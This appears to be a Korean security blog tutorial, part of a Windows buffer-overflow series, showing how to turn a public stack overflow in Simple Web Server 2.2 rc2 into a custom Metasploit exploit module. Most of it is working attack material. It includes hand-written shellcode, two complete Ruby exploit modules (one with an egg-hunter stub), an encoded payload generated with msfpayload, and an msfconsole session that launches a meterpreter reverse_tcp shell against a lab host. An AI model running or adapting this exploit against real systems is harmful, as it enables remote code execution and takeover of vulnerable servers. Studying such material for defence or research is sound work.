Windows bufferoverflow (4) - Metasploit 을 활용한 custom exploit 제작
이번 주제는 Metasploit 을 활용하여 exploit 을 제작하는 것입니다.
exploit 을 제작할 때 물론 perl, python, ruby 등의 스크립트 언어도 많이 이용하지만, 실용성을 높이려면 exploit
framework 인 metasploit 을 이용하여 제작하는 것이 좋습니다. metasploit 은 무료임에도 불구하고(물론 유료 버전도
존재합니다만, GUI 일 뿐 그다지 크게 좋은지는 모르겠습니다.) 기본적인 exploit 골격을 제공할 뿐 아니라 공격 후의
payload , encoder 등의 다양한 도구까지 제공해 줍니다. 즉, 사용자는 그저 발견한 취약점에 특화된 부분(offset 등)
만을 추가하면 됩니다.
=========================================================================================================
이번에 사용될 프로그램은 나름 최근(2012-07-19, http://www.exploit-db.com/exploits/19937/)에 발표한 Simple
Web Server 2.2 rc2 이다. 이 프로그램은 HTTP Protocol 을 파싱하는 과정에서 Connection: 헤더를 읽어올 때 전형
적인 BOF 가 발생한다.
# simple web server 2.2-rc2 버전
해당 프로그램은 아래와 같이 웹서버의 역할을 하도록 해주는 어플리케이션이며, 간단히 접속 테스트를 해보았다.
# 공개된 취약점을 이용한 exploit 코드 제작
crash 가 발생하는 offset 이 2048 인 것만 알면 그다지 어려울 것은 없다. 단순히 junk 를 채우고 eip 를 덮어 씌운 뒤
쉘코드를 입력하면 된다. 쉘코드가 긴 것을 별로 좋아하지 않아 메타스플로잇이 생성해준 것 대신 개인적으로 만든 쉘
코드를 사용한다. 실행만 되면 되잖아 :)
# 45 바이트 쉘코드 ( 한글 xp sp3 에서만 동작함. 함수주소가 하드코딩 되어 있으므로 )
"\x55\x8b\xec\x83\xec\x44\x33\xc9\x88\x4d\xff\xc6\x45\xfc\x63" "\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8" "\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" |
# 해당 공격코드를 실행하여 대상PC에 쉘코드가 실행됨을 확인
공격 코드 실행하면 위와 같이 대상 PC 에서 쉘이 뜬다. 이제 exploit 코드를 작성했으니, 활용성을 높이기 위해 메타
스플로잇으로 포팅해보자. 메타스플로잇으로 코드를 작성해 두면 때에 따라 원하는 payload 를 실행할 수 있으며 매
번 프로그래밍을 다시 하는 단순 작업을 피할 수 있다.
# 메타스플로잇 모듈 작성
- 모듈 위치 : /opt/framework/msf3/modules/ ( 아래와 같이 각 OS 별로 정리되어 있음 )
- 모듈 언어 : ruby
root@hyunmini:/opt/framework/msf3/modules/exploits# ls aix bsdi dialup freebsd hpux irix linux multi netware osx solaris unix windows |
새로운 모듈을 처음부터 작성하기 보단, 이미 완성된 수많은 훌륭한 익스플로잇을 복사하여 수정하자 ( -_- ㅋ)
몇 번 해보면 알겠지만 정해진 틀에 맞추어 offset, payload, header 등만을 수정해 주면 된다.
여기에선 windows/misc 내부의 익스플로잇을 하나 복사해서 썼다.
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote // 리모트 익스플로잇 모듈 상속 Rank = GoodRanking // 익스플로잇의 신뢰도 include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Simple Web Server stack overflow', // 익스플로잇 모듈명 'Description' => %q{ This module exploits a stack buffer overflow in the Simple Web Server. // 설명 }, 'Author' => [ 'hyunmini' ], // 제작자 'License' => MSF_LICENSE, // 라이센스 'Version' => '$Revision: 7777 $' , // 버전 (자체적인 버전을 의미) 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/19937/'], // 참고 URL 이나 취약점 분류코드 등 ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', // 기본 옵션값 세팅 }, 'Privileged' => true, 'Payload' => // Payload 설정 (중요!!) { 'Space' => 1000, // payload 를 넣을 수 있는 공간 사이즈 'BadChars' => "\x00\x0a\x0d\x3a\x20", // 포함되면 안되는 문자 ( 중요!! ) 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ [ 'Windows XP SP3 - KOR', { 'Ret' => 0x77d256f7 } ], // OS, 패치별 ret 주소 ], 'DisclosureDate' => 'Aug 28 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)], self.class) // exploit 옵션 추가 및 디폴드값 설정 end def exploit // 실제 exploit 명령 시 실행되는 함수 connect sploit = "\x41" * 2048 sploit << [target.ret].pack('V') // payload 에서 설정한 ret 주소가 자동 설정됨 sploit << payload.encode // 인코딩된 쉘코드 res = "GET / HTTP/1.0\r\n" res += "Connection:#{sploit}\r\n\r\n" print_status("Sending Payload #{target.name}...") sock.put(res) // 패킷 전송 print_status("OK!! Exploitation Done !!") handler // metasploit 핸들러 disconnect end end |
크게 어려운 것은 없다. 대부분 위와 같은 형식을 가지고 있으며 보면 알겠지만 ret 주소, 익스플로잇 공간 등 일부분만
수정해주면 된다.
# payload 설정 부분
'Payload' => // Payload 설정 (중요!!) { 'Space' => 1000, // payload 를 넣을 수 있는 공간 사이즈 'BadChars' => "\x00\x0a\x0d\x3a\x20", // 포함되면 안되는 문자 ( 중요!! ) 'StackAdjustment' => -3500, }, |
Space 는 metasploit 을 이용하여 payload 를 지정할 때, 이용할 수 있는 최대한의 버퍼 크기이다. bof 의 경우 eip 를
덮은 이후 jmp esp 등으로 쉘코드를 실행시킨다. 즉 버퍼이후 부터 쉘코드의 끝지점 정도가 payload 를 넣을 수 있는
크기가 될 것이고, 생각보다 크지 않다. 일반적인 범용적인 쉘코드(자동 생성된)의 경우 3~500 바이트 정도의 크기이
다. 물론 직접 가지고 있는 쉘코드를 입력해서 사용하면 더 작은 공간만으로도 payload 구성이 가능하며, 이후에 알아
볼 테크닉인 egg hunting 이라는 기술을 통해 쓰레기값 대신 쉘코드를 버퍼 앞쪽에 넣고, egg(쉘코드 시작점을 알리
는 태그 정도로 보면 된다) 를 찾는 방법으로 더 넓은 공간을 확보할 수 있다.
그런데, 실행해보면 정상적으로 공격코드가 실행되지 않는 것을 볼 수 있다. wireshark 로 패킷을 잡아보면 분명히 패
킷은 전송이 되는데 실행이 되지 않는다. 이유는 위에서도 설명한 payload 문제이다.
# 인코딩 된 쉘코드
root@hyunmini # msfpayload windows/exec cmd=calc c | msfencode -e x86/alpha_mixed [*] x86/alpha_mixed succeeded with size 1980 (iteration=1) buf = "\x89\xe5\xdb\xd4\xd9\x75\xf4\x58\x50\x59\x49\x49\x49\x49" + "\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" + "\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" + "\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" + "\x42\x75\x4a\x49\x66\x4f\x65\x7a\x56\x6a\x55\x70\ |
위와 같이 인코딩을 하게 되면 용량이 훌쩍 커진다. 물론 알고리즘에 따라 다르긴 하지만, 보통 500 정도는 된다. 00,
0a 등의 badchar 때문에 인코딩을 안하면 payload 가 정상적으로 입력이 안될 수 있으므로 인코딩은 항상 해주는 것
이 좋다. 어쨋건 이런 부분 때문에 항상 space 가 충분한지 확인을 하고, 공간이 너무 적다면 egg-hunting 을 통해 버
퍼의 앞부분에 쉘코드를 입력할 공간을 마련하는 것이 좋다. egg-hunting에 대한 자세한 포스팅은 이후에 다시 할 예
정이니 우선 완성된 코드로 진행을 해 보겠다. 우선은 개념 정도만 알고 넘어가자.
# Egg-hunting 개념으로 쉘코드가 앞부분에 위치하는 payload 로 구성한 완성된 exploit
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Simple Web Server stack overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Simple Web Server. }, 'Author' => [ 'hyunmini' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 7777 $', 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/19937/'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x3a\x20", 'StackAdjustment' => -3500, }, 'Platform' => ['win'], 'Targets' => [ [ 'Windows XP SP3 - KOR', { 'Ret' => 0x77d256f7 } ], ], 'DisclosureDate' => 'Aug 28 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)], self.class) end def exploit connect sploit = rand_text_alpha_upper( 2048 - "w00tw00t".length - (payload.encode).length ) sploit << "w00tw00t" // egg (tag) sploit << payload.encode sploit << [target.ret].pack('V') sploit << // egg-hunting code "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8w00t\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7" res = "GET / HTTP/1.0\r\n" res += "Connection:#{sploit}\r\n\r\n" print_status("Sending Payload #{target.name}...") sock.put(res) print_status("OK!! Exploitation Done !!") handler disconnect end end |
자 위의 코드로 다시 공격을 해보자.
root # msfconsole ..... ....
msf exploit(hyunmini) > set rhost 192.168.48.3 rhost => 192.168.48.3 msf exploit(hyunmini) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(hyunmini) > set lport 7777 lport => 7777 msf exploit(hyunmini) > show options Module options (exploit/windows/misc/hyunmini): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.48.3 yes The target address RPORT 80 yes The target port Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process, none LHOST yes The listen address LPORT 7777 yes The listen port Exploit target: Id Name -- ---- 0 Windows XP SP3 - KOR msf exploit(hyunmini) > set lhost 192.168.48.128 lhost => 192.168.48.128 msf exploit(hyunmini) > exploit |
공격이 성공하고 쉘이 얻어진 것을 확인 할 수 있다.
더이상의 설명은 생략한다 ( -_- !)
수고하셨습니다~ ㅎㅎ
'Windows System Hacking' 카테고리의 다른 글
Windows bufferoverflow (6) - ROP 2 (bypass DEP with mona.py) (5) | 2013.06.09 |
---|---|
Windows bufferoverflow (5) - ROP 1 (DEP 와 우회방법) (2) | 2013.06.08 |
Windows bufferoverflow (3) - SEH Overflow ( soritong.exe ) (3) | 2012.08.25 |
Windows bufferoverflow (2) - SEH Overflow (0) | 2012.08.24 |
유용한 Windbg 확장 모듈 - exploitable (0) | 2012.08.12 |